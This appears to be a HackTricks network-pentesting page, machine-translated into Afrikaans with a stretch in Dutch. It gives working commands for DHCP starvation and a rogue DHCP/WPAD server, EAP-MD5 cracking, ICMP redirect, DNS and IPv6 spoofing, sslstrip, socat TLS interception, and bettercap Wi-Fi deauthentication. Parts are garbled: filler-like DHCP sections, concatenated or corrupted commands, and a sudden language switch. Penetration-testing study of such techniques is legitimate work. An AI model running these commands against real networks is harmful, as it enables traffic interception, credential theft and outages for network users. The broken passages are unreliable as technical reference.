- Deur die telefoon se vertooningsinstellings te navigeer om modelinligting te sien.
- Die VoIP-toestel aan 'n rekenaar te koppel en CDP-versoeke te ondersoek met behulp van Wireshark.
'n Voorbeeldopdrag om die gereedskap in die derde modus uit te voer, sou wees:
voiphopper -i eth1 -E 'SEP001EEEEEEEEE ' -c 2
Opname
DHCP (Dynamic Host Configuration Protocol) is 'n protokol wat gebruik word om IP-adresse en ander netwerkinstellings aan 'n toestel in 'n netwerk toe te ken. Dit is 'n belangrike stap in die opstel van 'n netwerkverbinding. Tydens 'n pentest kan jy DHCP-aanvalle gebruik om inligting oor die netwerk te versamel.
Daar is verskeie metodes om DHCP-inligting te ondersoek en op te neem:
- DHCP Discovery: Hierdie metode behels die gebruik van 'n DHCP Discovery-hulpmiddel om 'n DHCP-aanvraag na die netwerk te stuur en die reaksie te ontleed. Dit kan help om die DHCP-bedieners in die netwerk te identifiseer.
- DHCP Starvation: Hierdie aanval behels die oorweldiging van die DHCP-bedieners met valse DHCP-aanvrae. Dit kan lei tot 'n uitputting van die beskikbare IP-adresse en 'n versteuring van die netwerk.
- DHCP Spoofing: Hierdie aanval behels die stuur van valse DHCP-antwoorde na die kliënttoestelle in die netwerk. Dit kan lei tot die oorname van die IP-adres van 'n ander toestel en die onderskepping van netwerkverkeer.
DHCP Discovery
Die DHCP Discovery-metode kan uitgevoer word deur die volgende stappe te volg:
- Installeer 'n DHCP Discovery-hulpmiddel soos
dhcpdump
ofdhcpig
. - Stuur 'n DHCP Discovery-aanvraag na die netwerk met behulp van die hulpmiddel.
- Ontleed die reaksie om die DHCP-bedieners in die netwerk te identifiseer.
- Analiseer die inligting om potensiële doelwitte vir verdere aanvalle te identifiseer.
DHCP Starvation
Die DHCP Starvation-aanval kan uitgevoer word deur die volgende stappe te volg:
- Installeer 'n DHCP Starvation-hulpmiddel soos
yersinia
ofdhcpstarv
. - Stuur valse DHCP-aanvrae na die DHCP-bedieners in die netwerk.
- Monitor die netwerk om te sien of die DHCP-bedieners reageer.
- As die DHCP-bedieners reageer, kan dit dui op 'n moontlike kwesbaarheid in die netwerk.
DHCP Spoofing
Die DHCP Spoofing-aanval kan uitgevoer word deur die volgende stappe te volg:
- Installeer 'n DHCP Spoofing-hulpmiddel soos
dhcpig
ofettercap
. - Stel die hulpmiddel in om valse DHCP-antwoorde na die kliënttoestelle in die netwerk te stuur.
- Monitor die netwerk om te sien of die kliënttoestelle die valse DHCP-antwoorde aanvaar.
- As die kliënttoestelle die valse DHCP-antwoorde aanvaar, kan dit lei tot die oorname van IP-adresse en die onderskepping van netwerkverkeer.
Voorkoming
Om DHCP-aanvalle te voorkom, kan die volgende maatreëls geneem word:
- Implementeer 'n sterk netwerksekuriteitsbeleid wat die gebruik van DHCP-aanvalle verbied.
- Monitor die netwerk vir verdagte DHCP-aktiwiteit en reageer vinnig op enige inbreukpogings.
- Stel 'n DHCP-snoepie op om die netwerk teen DHCP-aanvalle te beskerm.
- Verseker dat alle toestelle in die netwerk opgedateer en gepatch is om bekende DHCP-kwesbaarhede te voorkom.
Bronne
nmap --script broadcast-dhcp-discover
Starting Nmap 7.80 ( https://nmap.org ) at 2019-10-16 05:30 EDT
WARNING: No targets were specified, so 0 hosts scanned.
Pre-scan script results:
| broadcast-dhcp-discover:
| Response 1 of 1:
| IP Offered: 192.168.1.250
| DHCP Message Type: DHCPOFFER
| Server Identifier: 192.168.1.1
| IP Address Lease Time: 1m00s
| Subnet Mask: 255.255.255.0
| Router: 192.168.1.1
| Domain Name Server: 192.168.1.1
|_ Domain Name: mynet
Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds
DoS
Daar kan twee tipes DoS teen DHCP-bedieners uitgevoer word. Die eerste een behels om genoeg valse gasheer te simuleer om al die moontlike IP-adresse te gebruik.
Hierdie aanval sal slegs werk as jy die antwoorde van die DHCP-bediener kan sien en die protokol voltooi (Discover (Rekenaar) --> Offer (bediener) --> Request (Rekenaar) --> ACK (bediener)). Byvoorbeeld, dit is nie moontlik in WiFi-netwerke nie.
'n Ander manier om 'n DHCP DoS uit te voer, is om 'n DHCP-RELEASE-pakket te stuur met behulp van elke moontlike IP as bronkode. Dan sal die bediener dink dat almal klaar is met die gebruik van die IP.
yersinia dhcp -attack 1
yersinia dhcp -attack 3 #More parameters are needed
'n Meer outomatiese manier om dit te doen, is deur die hulpmiddel DHCPing te gebruik.
Jy kan die genoemde DoS-aanvalle gebruik om kliënte te dwing om nuwe leases binne die omgewing te verkry en om legitieme bedieners uit te put sodat hulle onreageerbaar word. So wanneer die legitieme bedieners probeer herverbind, kan jy skadelike waardes bedien soos in die volgende aanval genoem.
Stel skadelike waardes in
'n Skelm DHCP-bediener kan opgestel word deur die DHCP-skripsie wat by /usr/share/responder/DHCP.py
geleë is, te gebruik. Dit is nuttig vir netwerkaanvalle, soos die vasvang van HTTP-verkeer en geloofsbriewe, deur verkeer na 'n skadelike bediener om te lei. Stel egter 'n skelm roeteringstoestel op is minder effektief omdat dit slegs uitgaande verkeer van die kliënt toelaat en die antwoorde van die werklike roeteringstoestel mis. Daarom word dit aanbeveel om 'n skelm DNS- of WPAD-bediener op te stel vir 'n meer effektiewe aanval.
Hieronder is die opdragopsies vir die konfigurering van die skelm DHCP-bediener:
- Ons IP-adres (Roeteringstoestel-advertensie): Gebruik
-i 10.0.0.100
om jou masjien se IP-adres as die roeteringstoestel te adverteer. - Plaaslike DNS-domeinnaam: Opsioneel, gebruik
-d example.org
om 'n plaaslike DNS-domeinnaam in te stel. - Oorspronklike Router/Roeteringstoestel-IP: Gebruik
-r 10.0.0.1
om die IP-adres van die legitieme router of roeteringstoestel te spesifiseer. - Primêre DNS-bediener-IP: Gebruik
-p 10.0.0.100
om die IP-adres van die skelm DNS-bediener wat jy beheer, in te stel. - Sekondêre DNS-bediener-IP: Opsioneel, gebruik
-s 10.0.0.1
om 'n sekondêre DNS-bediener-IP in te stel. - Netmasker van Plaaslike Netwerk: Gebruik
-n 255.255.255.0
om die netmasker vir die plaaslike netwerk te definieer. - Koppelvlak vir DHCP-verkeer: Gebruik
-I eth1
om te luister vir DHCP-verkeer op 'n spesifieke netwerkkoppelvlak. - WPAD-konfigurasie-adres: Gebruik
-w "http://10.0.0.100/wpad.dat"
om die adres vir WPAD-konfigurasie in te stel, wat help met die onderskepping van webverkeer. - Spoof Verstekroeteringstoestel-IP: Sluit
-S
in om die IP-adres van die verstekroeteringstoestel te vervals. - Reageer op Alle DHCP-Aanvrae: Sluit
-R
in om die bediener op alle DHCP-aanvrae te laat reageer, maar wees bewus dat dit lawaaierig is en opgespoor kan word.
Deur hierdie opsies korrek te gebruik, kan 'n skelm DHCP-bediener opgestel word om netwerkverkeer doeltreffend te onderskep.
# Example to start a rogue DHCP server with specified options
!python /usr/share/responder/DHCP.py -i 10.0.0.100 -d example.org -r 10.0.0.1 -p 10.0.0.100 -s 10.0.0.1 -n 255.255.255.0 -I eth1 -w "http://10.0.0.100/wpad.dat" -S -R
EAP Aanvalle
Hier is 'n paar aanvalstaktieke wat teen 802.1X-implementasies gebruik kan word:
- Aktiewe brute-force wagwoord slyp deur middel van EAP
- Aanval op die RADIUS-bediener met misvormde EAP-inhoud (uitbuitings)
- EAP-boodskap vaslegging en aflyn wagwoordkraking (EAP-MD5 en PEAP)
- Dwang van EAP-MD5-verifikasie om TLS-sertifikaatvalidering te omseil
- Injeksie van skadelike netwerkverkeer tydens verifikasie met behulp van 'n hub of soortgelyk
As die aanvaller tussen die slagoffer en die verifikasiebediener is, kan hy probeer om (indien nodig) die verifikasieprotokol na EAP-MD5 te degradeer en die verifikasiepoging vas te vang. Daarna kan hy dit brute-force gebruik deur:
eapmd5pass –r pcap.dump –w /usr/share/wordlist/sqlmap.txt
FHRP (GLBP & HSRP) Aanvalle
FHRP (Eerste Sprong Redundansie Protokol) is 'n klas van netwerkprotokolle wat ontwerp is om 'n warm redundante roetesisteem te skep. Met FHRP kan fisiese roetingsapparate gekombineer word in 'n enkele logiese toestel, wat fouttoleransie verhoog en help om die las te verdeel.
Cisco Systems-ingenieurs het twee FHRP-protokolle ontwikkel, GLBP en HSRP.
{% content-ref url="glbp-and-hsrp-attacks.md" %} glbp-and-hsrp-attacks.md {% endcontent-ref %}
RIP
Daar is drie weergawes van die Routing Information Protocol (RIP) bekend: RIP, RIPv2 en RIPng. Datagramme word deur RIP en RIPv2 na eweknieë gestuur via poort 520 met behulp van UDP, terwyl datagramme na UDP-poort 521 via IPv6-multisending deur RIPng uitgesaai word. Ondersteuning vir MD5-verifikasie is deur RIPv2 ingevoer. Aan die ander kant word inheemse verifikasie nie deur RIPng ingesluit nie; in plaas daarvan word daar staatgemaak op opsionele IPsec AH- en ESP-koppe in IPv6.
- RIP en RIPv2: Kommunikasie vind plaas deur UDP-datagramme op poort 520.
- RIPng: Maak gebruik van UDP-poort 521 om datagramme via IPv6-multisending uit te saai.
Let daarop dat RIPv2 MD5-verifikasie ondersteun terwyl RIPng nie inheemse verifikasie insluit nie, maar staatmaak op IPsec AH- en ESP-koppe in IPv6.
EIGRP Aanvalle
EIGRP (Enhanced Interior Gateway Routing Protocol) is 'n dinamiese roetingsprotokol. Dit is 'n afstand-vector protokol. As daar geen verifikasie en konfigurasie van passiewe interfaces is nie, kan 'n indringer inmeng met EIGRP-roetings en roetetabellevergiftiging veroorsaak. Verder is die EIGRP-netwerk (met ander woorde, outonome stelsel) plat en het geen segmentering in enige sones nie. As 'n aanvaller 'n roete inspuit, is dit waarskynlik dat hierdie roete deur die outonome EIGRP-stelsel sal versprei.
Om 'n EIGRP-stelsel aan te val, vereis dit die vestiging van 'n nabuurskap met 'n wettige EIGRP-roeteerder, wat baie moontlikhede bied, van basiese verkenning tot verskeie inspuitings.
FRRouting stel jou in staat om 'n virtuele router te implementeer wat BGP, OSPF, EIGRP, RIP en ander protokolle ondersteun. Al wat jy hoef te doen, is om dit op jou aanvaller se stelsel te implementeer en jy kan eintlik voorgee om 'n wettige router in die roetingsdomein te wees.
{% content-ref url="eigrp-attacks.md" %} eigrp-attacks.md {% endcontent-ref %}
Coly het die vermoë om EIGRP (Enhanced Interior Gateway Routing Protocol) uitsendings te onderskep. Dit maak ook die inspuiting van pakkies moontlik, wat gebruik kan word om roetingskonfigurasies te verander.
OSPF
In die Open Shortest Path First (OSPF) protokol word MD5-verifikasie algemeen gebruik om veilige kommunikasie tussen roeteerders te verseker. Hierdie veiligheidsmaatreël kan egter gekompromitteer word deur middel van gereedskap soos Loki en John the Ripper. Hierdie gereedskap is in staat om MD5-hashes vas te vang en te kraak, wat die verifikasiesleutel blootstel. Sodra hierdie sleutel verkry is, kan dit gebruik word om nuwe roetingsinligting in te voer. Om die roete-parameters te konfigureer en die gekompromitteerde sleutel te vestig, word onderskeidelik die Injection en Connection lêers gebruik.
- Vasvang en Kraak van MD5-hashes: Gereedskap soos Loki en John the Ripper word hiervoor gebruik.
- Konfigurering van Roete-parameters: Dit word gedoen deur middel van die Injection lêer.
- Vestiging van die Gekompromitteerde Sleutel: Die sleutel word gekonfigureer onder die Connection lêer.
Ander Algemene Gereedskap & Bronne
- Above: Gereedskap om netwerkverkeer te skandeer en kwesbaarhede te vind
- Jy kan meer inligting oor netwerkaanvalle hier vind.
Spoofing
Die aanvaller stel al die netwerkparameters (GW, IP, DNS) van die nuwe lid van die netwerk in deur valse DHCP-antwoorde te stuur.
Ettercap
yersinia dhcp -attack 2 #More parameters are needed
ARP Spoofing
Kyk na die vorige afdeling.
ICMPRedirect
ICMP-omleiding behels die stuur van 'n ICMP-pakket tipe 1 kode 5 wat aandui dat die aanvaller die beste manier is om 'n IP te bereik. Dan, wanneer die slagoffer die IP wil kontak, sal dit die pakket deur die aanvaller stuur.
Ettercap
icmp_redirect
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
DNS Spoofing
Die aanvaller sal sommige (of al) die domeine wat die slagoffer vra, oplos.
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
Stel jou eie DNS in met dnsmasq
Om jou eie DNS in te stel met dnsmasq, kan jy die volgende stappe volg:
-
Installeer dnsmasq op jou bediener:
sudo apt-get install dnsmasq
-
Maak 'n nuwe konfigurasie-lêer vir dnsmasq:
sudo nano /etc/dnsmasq.conf
-
Voeg die volgende reëls by in die konfigurasie-lêer:
interface=eth0 listen-address=127.0.0.1 bind-interfaces no-resolv server=8.8.8.8 server=8.8.4.4
-
Stel jou DNS-instellings in op jou bediener se netwerkinstellings om na 127.0.0.1 te verwys.
-
Herlaai dnsmasq om die veranderinge toe te pas:
sudo systemctl reload dnsmasq
Nou is jou dnsmasq DNS ingestel en gereed om DNS-navrae te hanteer. Jy kan dit gebruik om DNS-verwysings te manipuleer en aanvalle soos DNS-vergiftiging uit te voer.
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
dig @localhost domain.example.com # Test the configured DNS
Plaaslike Hekke
Daar is dikwels verskeie roetes na stelsels en netwerke. Nadat 'n lys van MAC-adresse binne die plaaslike netwerk opgestel is, gebruik gateway-finder.py om gasheerstelsels te identifiseer wat IPv4 deurstuur ondersteun.
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
root@kali:~# cd gateway-finder/
root@kali:~# arp-scan -l | tee hosts.txt
Interface: eth0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.6 with 256 hosts (http://www.nta-monitor.com/tools/arp-scan/)
10.0.0.100 00:13:72:09:ad:76 Dell Inc.
10.0.0.200 00:90:27:43:c0:57 INTEL CORPORATION
10.0.0.254 00:08:74:c0:40:ce Dell Computer Corp.
root@kali:~/gateway-finder# ./gateway-finder.py -f hosts.txt -i 209.85.227.99
gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
[+] Using interface eth0 (-I to change)
[+] Found 3 MAC addresses in hosts.txt
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
Spoofing LLMNR, NBT-NS, en mDNS
Vir plaaslike gasheeroplossing wanneer DNS-opsoekings nie suksesvol is nie, steun Microsoft-stelsels op Link-Local Multicast Name Resolution (LLMNR) en die NetBIOS Name Service (NBT-NS). Soortgelyk maak Apple Bonjour en Linux zero-configuration-implementasies gebruik van Multicast DNS (mDNS) om stelsels binne 'n netwerk te ontdek. As gevolg van die ongeagte aard van hierdie protokolle en hul werking oor UDP, uitsaai-boodskappe, kan dit deur aanvallers uitgebuit word om gebruikers na kwaadwillige dienste om te lei.
Jy kan dienste naboots deur Responder te gebruik om valse reaksies te stuur.
Lees hier meer inligting oor hoe om dienste met Responder te naboots.
Spoofing WPAD
Webblaaier maak gewoonlik gebruik van die Web Proxy Auto-Discovery (WPAD) protokol om outomaties proksi-instellings te bekom. Dit behels die ophaling van konfigurasiebesonderhede van 'n bediener, spesifiek deur 'n URL soos "http://wpad.example.org/wpad.dat". Die ontdekking van hierdie bediener deur die kliënte kan plaasvind deur verskeie meganismes:
- Deur DHCP, waar die ontdekking gefasiliteer word deur 'n spesiale kode 252-inskrywing te gebruik.
- Deur DNS, wat die soeke na 'n gasheernaam met die etiket wpad binne die plaaslike domein behels.
- Via Microsoft LLMNR en NBT-NS, wat terugvalmeganismes is wat gebruik word in gevalle waar DNS-opsoekings nie slaag nie.
Die hulpmiddel Responder maak gebruik van hierdie protokol deur as 'n kwaadwillige WPAD-bedieners op te tree. Dit maak gebruik van DHCP, DNS, LLMNR en NBT-NS om kliënte te mislei om daarmee te verbind. Om dieper in te gaan op hoe dienste met behulp van Responder nageboots kan word, kyk hier.
Spoofing SSDP en UPnP-toestelle
Jy kan verskillende dienste in die netwerk aanbied om 'n gebruiker te mislei om sekere plat-tekslegitimasie in te voer. Meer inligting oor hierdie aanval in Spoofing SSDP en UPnP-toestelle.
IPv6 Neighbor Spoofing
Hierdie aanval is baie soortgelyk aan ARP Spoofing, maar in die IPv6-wêreld. Jy kan die slagoffer laat dink dat die IPv6 van die GW die MAC van die aanvaller het.
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
IPv6 Router Advertensie Spoofing/Flooding
Sommige bedryfstelsels stel outomaties die gateway in vanaf die RA-pakette wat in die netwerk gestuur word. Om die aanvaller as 'n IPv6-router te verklaar, kan jy gebruik maak van:
sysctl -w net.ipv6.conf.all.forwarding=1 4
ip route add default via <ROUTER_IPv6> dev wlan0
fake_router6 wlan0 fe80::01/16
IPv6 DHCP spoofing
Standaard probeer sommige besturingstelsels om die DNS te konfigureer deur 'n DHCPv6-pakket in die netwerk te lees. 'n Aanvaller kan dan 'n DHCPv6-pakket stuur om homself as DNS te konfigureer. Die DHCP voorsien ook 'n IPv6 aan die slagoffer.
dhcp6.spoof on
dhcp6.spoof.domains <list of domains>
mitm6
HTTP (valsblad en JS-kode-inspuiting)
Internet Aanvalle
sslStrip
Wat hierdie aanval basies doen, is dat as die gebruiker probeer om 'n HTTP-bladsy te besoek wat na die HTTPS-weergawe omskakel, sslStrip 'n HTTP-verbinding met die kliënt en 'n HTTPS-verbinding met die bediener sal handhaaf, sodat dit die verbinding in plat teks kan sniff.
apt-get install sslstrip
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
#iptables --flush
#iptables --flush -t nat
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
Meer inligting hier.
sslStrip+ en dns2proxy vir omseil van HSTS
Die verskil tussen sslStrip+ en dns2proxy teenoor sslStrip is dat hulle byvoorbeeld www.facebook.com sal omlei na wwww.facebook.com (let op die ekstra "w") en die adres van hierdie domein as die aanvaller se IP sal stel. Op hierdie manier sal die kliënt verbind met wwww.facebook.com (die aanvaller), maar agter die skerms sal sslstrip+ die werklike verbinding via HTTPS met www.facebook.com behou.
Die doel van hierdie tegniek is om HSTS te omseil, want wwww.facebook.com sal nie in die geheue van die webblaaier gestoor word nie, sodat die webblaaier mislei sal word om Facebook-verifikasie in HTTP uit te voer.
Let daarop dat die slagoffer aanvanklik moet probeer om toegang te verkry tot http://www.faceook.com en nie HTTPS nie. Dit kan gedoen word deur die skakels binne 'n HTTP-bladsy te wysig.
Meer inligting hier, hier en hier.
sslStrip of sslStrip+ werk nie meer nie. Dit is omdat daar HSTS-reëls voorgesit word in die webblaaier, sodat selfs as dit die eerste keer is dat 'n gebruiker toegang verkry tot 'n "belangrike" domein, sal hy dit via HTTPS toegang verkry. Let ook daarop dat die voorgesitde reëls en ander gegenereerde reëls die vlag includeSubdomains
kan gebruik, sodat die vorige voorbeeld van wwww.facebook.com nie meer sal werk nie, aangesien facebook.com HSTS met includeSubdomains
gebruik.
TODO: easy-creds, evilgrade, metasploit, factory
TCP luister op poort
sudo nc -l -p 80
socat TCP4-LISTEN:80,fork,reuseaddr -
TCP + SSL luister op poort
Genereer sleutels en zelfondertekend sertifikaat
FILENAME=server
# Generate a public/private key pair:
openssl genrsa -out $FILENAME.key 1024
# Generate a self signed certificate:
openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
# Generate the PEM file by just appending the key and certificate files:
cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
Luister met behulp van sertifikaat
Om vertrouwelijke communicatie te onderscheppen, kan je een techniek gebruiken die bekend staat als "luisteren met behulp van een certificaat". Deze techniek maakt gebruik van een vervalst certificaat om de communicatie tussen een client en een server te onderscheppen.
Hier is een algemeen overzicht van hoe deze techniek werkt:
- Identificeer de doelserver waarvan je de communicatie wilt onderscheppen.
- Genereer een vervalst certificaat dat overeenkomt met het domein van de doelserver.
- Installeer het vervalste certificaat op je eigen systeem.
- Configureer een proxyserver om de communicatie tussen de client en de server door te sturen.
- Wanneer de client verbinding maakt met de server, zal de proxyserver het vervalste certificaat presenteren in plaats van het echte certificaat van de server.
- De client zal het vervalste certificaat accepteren en de communicatie zal worden doorgestuurd naar de proxyserver.
- De proxyserver kan de communicatie onderscheppen en de gegevens inzien voordat ze naar de server worden doorgestuurd.
- Je kunt verschillende tools gebruiken om de communicatie te ontcijferen en de gegevens te analyseren.
Het is belangrijk op te merken dat deze techniek alleen werkt als de client geen strikte certificaatvalidatie uitvoert. In sommige gevallen kan het nodig zijn om extra maatregelen te nemen, zoals het omzeilen van certificaatpinnen of het uitvoeren van een man-in-the-middle-aanval.
Het is ook belangrijk om te benadrukken dat het gebruik van deze techniek zonder toestemming illegaal is en ernstige juridische gevolgen kan hebben. Het is alleen bedoeld voor educatieve doeleinden en voor gebruik door geautoriseerde beveiligingsprofessionals tijdens penetratietesten.
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
Luister met behulp van sertifikaat en stuur de data deur na die gasheer
Om netwerkverkeer af te luister en te onderskep, kan jy 'n sertifikaat gebruik om die data te versleutel en te dekodeer. Hier is 'n stap-vir-stap handleiding oor hoe om hierdie tegniek te implementeer:
-
Genereer 'n selfondertekende sertifikaat wat gebruik kan word om die verkeer te versleutel. Jy kan hulpmiddels soos OpenSSL gebruik om hierdie sertifikaat te skep.
-
Installeer die sertifikaat op die toestel waarop jy die verkeer wil onderskep. Dit kan 'n bediener, 'n proxy of 'n ander toestel wees wat as 'n tussenganger dien.
-
Stel die toestel so in dat dit die verkeer na die gewenste gasheer omlei. Dit kan gedoen word deur die netwerkinstellings te wysig of deur 'n spesifieke proxy te gebruik.
-
Wanneer die verkeer deur die toestel vloei, sal die sertifikaat gebruik word om die data te versleutel. Dit verseker dat jy die verkeer kan onderskep sonder dat die eindgebruiker daarvan bewus is.
-
Die onderskepte verkeer kan dan ontsleutel en geanaliseer word om inligting te verkry wat nuttig kan wees vir verdere pentesting of navorsing.
Dit is belangrik om te onthou dat hierdie tegniek slegs gebruik moet word met toestemming van die eienaar van die netwerk of die toestelle wat onderskep word. Misbruik van hierdie tegniek kan wettige gevolge hê.
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
Soms, as die kliënt nagaan dat die CA geldig is, kan jy 'n sertifikaat van 'n ander gasheernaam wat deur 'n CA onderteken is, bedien.
'n Ander interessante toets is om 'n self-ondertekende sertifikaat van die gevraagde gasheernaam te bedien.
Ander dinge om te toets is om die sertifikaat te onderteken met 'n geldige sertifikaat wat nie 'n geldige CA is nie. Of om die geldige openbare sleutel te gebruik, dwing om 'n algoritme soos Diffie-Hellman te gebruik (een wat nie nodig het om enigiets met die regte privaatsleutel te ontsluit nie) en wanneer die kliënt 'n sonde van die regte privaatsleutel aanvra (soos 'n hasie), stuur 'n vals sonde en verwag dat die kliënt dit nie nagaan nie.
Bettercap
# Events
events.stream off #Stop showing events
events.show #Show all events
events.show 5 #Show latests 5 events
events.clear
# Ticker (loop of commands)
set ticker.period 5; set ticker.commands "wifi.deauth DE:AD:BE:EF:DE:AD"; ticker on
# Caplets
caplets.show
caplets.update
# Wifi
wifi.recon on
wifi.deauth BSSID
wifi.show
# Fake wifi
set wifi.ap.ssid Banana
set wifi.ap.bssid DE:AD:BE:EF:DE:AD
set wifi.ap.channel 5
set wifi.ap.encryption false #If true, WPA2
wifi.recon on; wifi.ap
Aktiewe Ontdekkingsnotas
Neem in ag dat wanneer 'n UDP-pakket na 'n toestel gestuur word wat nie oor die gevraagde poort beskik nie, 'n ICMP (Port Unreachable) gestuur word.
ARP-ontdekking
ARP-pakette word gebruik om te bepaal watter IP-adresse binne die netwerk gebruik word. Die rekenaar moet 'n versoek vir elke moontlike IP-adres stuur en slegs diegene wat gebruik word, sal reageer.
mDNS (multicast DNS)
Bettercap stuur 'n mDNS-versoek (elke X ms) en vra vir _services_.dns-sd._udp.local. Die masjien wat hierdie pakkie sien, antwoord gewoonlik op hierdie versoek. Dan soek dit slegs na masjiene wat antwoord op "dienste".
Hulpmiddels
- Avahi-browser (--all)
- Bettercap (net.probe.mdns)
- Responder
NBNS (NetBios Name Server)
Bettercap stuur uitsaai-pakette na poort 137/UDP en vra vir die naam "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".
SSDP (Simple Service Discovery Protocol)
Bettercap stuur SSDP-pakette uit wat soek na allerhande dienste (UDP-poort 1900).
WSD (Web Service Discovery)
Bettercap stuur WSD-pakette uit wat soek na dienste (UDP-poort 3702).
Verwysings
- https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
- Network Security Assessment: Know Your Network (3rd edition)
- Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood
- https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9
Bug bounty wenk: teken aan vir Intigriti, 'n premium bug bounty-platform wat deur hackers geskep is, vir hackers! Sluit vandag by ons aan by https://go.intigriti.com/hacktricks en begin om belonings tot $100,000 te verdien!
{% embed url="https://go.intigriti.com/hacktricks" %}
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy in HackTricks wil adverteer of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
- Kry die amptelike PEASS & HackTricks-uitrusting
- Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.